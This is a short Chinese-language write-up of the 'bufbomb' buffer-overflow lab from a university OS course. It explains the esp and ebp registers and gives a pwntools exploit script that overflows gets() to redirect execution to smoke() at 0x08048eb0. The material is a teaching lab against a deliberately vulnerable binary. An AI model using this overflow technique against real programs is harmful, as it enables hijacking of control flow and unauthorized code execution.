深渊大学 OS PA

一点点汇编知识

如何得知 char 开了多大

sub 是一个指令,用于执行减法操作。它的作用是将一个操作数的值减去另一个操作数,并将结果存储到指定的目的地。

esp 是啥寄存器

栈指针寄存器 当前栈顶

ebp 是啥寄存器

base寄存器 栈底


题目要求:返回到 smoke()

objdump 看一下 smoke() 地址

记录下来 08048eb0

接着查看造成溢出的 gets() 所写入的变量大小,标注的地方便为开 char 的大小

本实验中,bufbomb 中的 test() 函数将会调用 getbuf() 函数,getbuf() 函数再调用 gets() 从标准输入设备读入字符串。

exp

from pwn import *
from elftools.elf.elffile import ELFFile

path = './bufbomb'
elf = ELF(path)
io = process([path,'-t','123'])
# io = process('./bufbomb -t 123', shell = True)

def eat():
    print(io.recvline())

for _ in range(2):
    eat()
# print(int(0x28)) # 偏移
# ida查看栈帧
payload = cyclic(0x18 + 0x4) + p32(0x08048eb0) # big2lit

# 发送payload
io.sendline(payload)
eat()
io.interactive() # 把io给用户

如图所示

solve~